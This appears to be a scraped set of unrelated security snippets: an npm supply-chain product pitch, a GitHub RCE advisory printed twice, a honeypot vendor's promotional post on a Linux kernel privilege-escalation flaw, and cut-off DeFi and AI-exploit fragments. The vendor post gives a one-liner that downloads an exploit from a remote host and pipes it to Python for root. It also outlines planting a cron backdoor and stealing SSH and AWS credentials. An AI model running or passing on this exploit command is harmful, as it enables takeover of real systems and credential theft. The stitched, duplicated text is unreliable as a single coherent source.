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Intercept and block malicious npm packages before they install, protecting your dev machines and CI/CD pipelines from supply chain attacks in real time.
Added Apr 23, 2026
50 signals
Supply chain attacks on npm packages like axios, Bitwarden CLI, and others have compromised millions of developer machines and CI/CD pipelines, often with attack windows of just hours. Traditional static analysis and SCA tools catch threats too slowly — the axios RAT was live for ~3 hours before detection, executing silently at install time and erasing itself. Developers have no interception layer between `npm install` and a potentially malicious postinstall script.
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A critical RCE (Remote Code Execution) vulnerability CVE- 2026-3854 with a CVSS of 8.7(Base Score) has been discovered inside GitHub.com and GitHub Enterprise Server. This allows authenticated users to inject commands via push options, compromising the shared repositories and fully taking over the Enterprise Servers. How discovered: Researchers found this vulnerability through AI- Powered reverse Engineering. Exploitation: An authenticated user with push access to repository can trigger RCE. Defense: Priotirise applying vendor patches, 88% of GHES instances remain unpatched. Stay alert for any update for GitHub.com and GitHub Enterprise Server to immediately mitigate the risk.
A critical RCE (Remote Code Execution) vulnerability CVE- 2026-3854 with a CVSS of 8.7(Base Score) has been discovered inside GitHub.com and GitHub Enterprise Server. This allows authenticated users to inject commands via push options, compromising the shared repositories and fully taking over the Enterprise Servers. How discovered: Researchers found this vulnerability through AI- Powered reverse Engineering. Exploitation: An authenticated user with push access to repository can trigger RCE. Defense: Priotirise applying vendor patches, 88% of GHES instances remain unpatched. Stay alert for any update for GitHub.com and GitHub Enterprise Server to immediately mitigate the risk.
Disclosure dropped this week at copy.fail. Logic flaw in the kernel's `authencesn`, reachable via `AF_ALG`, abused through `splice()` to write 4 bytes into the page cache of any setuid binary. 732 bytes of stdlib Python. No race, no offsets, reliable on every affected distro since 2017. PoC: ``` curl https://copy.fail/exp | python3 && su ``` Distros are patching. Fine. The bit nobody talks about: it's a **local** priv esc. The attacker still needs a shell first. That shell doesn't come from your hardened SSH. It comes from the WordPress plugin you forgot was installed. The Grafana on :3000. The Jenkins your CI team spun up two years ago. The leaked GitHub PAT in a public gist. The n-day on your firewall vendor that everyone is still patching. They land as `www-data`. They run the 732-byte one-liner. They're root. Backdoor in `/etc/cron.d/`. `known_hosts` dumped. AWS keys pulled from `~/.aws/credentials`. Your Ansible inventory is now their target list. Friday they're inside. Sunday they push. Monday your `/home` is on a leak site and you're explaining to legal why prod creds lived on a Jenkins worker. I run a honeypot (TarPit.pro, full disclosure). Across 5 of my own boxes in the last 20 days: - ~40k attack attempts - ~14k unique IPs - ~5k auto banned - Top ports: SSH (14k), Telnet (3.2k), SMB (2.2k) Those are the IPs you collected the last few months that, today, will be running `curl copy.fail/exp | python3` on whichever box they land on first. Patch the kernel. Then close the on-ramp. Single Go binary, free tier on 2 servers, no Docker. Coupon `LAUNCH101` makes Starter and Pro free for 2 months if you want it on more
The Project 0 program code has been audited 11 times, & is one one of the most stress-tested DeFi protocols on Solana. The P0 risk & liquidity engine is built on , which has handled +$100B in lends, borrows, withdrawals, & flashloans through all market conditions on
AI agents exploited smart contracts worth $4.6mn in simulated attacks, with capabilities doubling every 1.3 months, but they still needed source code access. Non-public source code programs have some protection: AI reverse engineering exists but is far less capable than source
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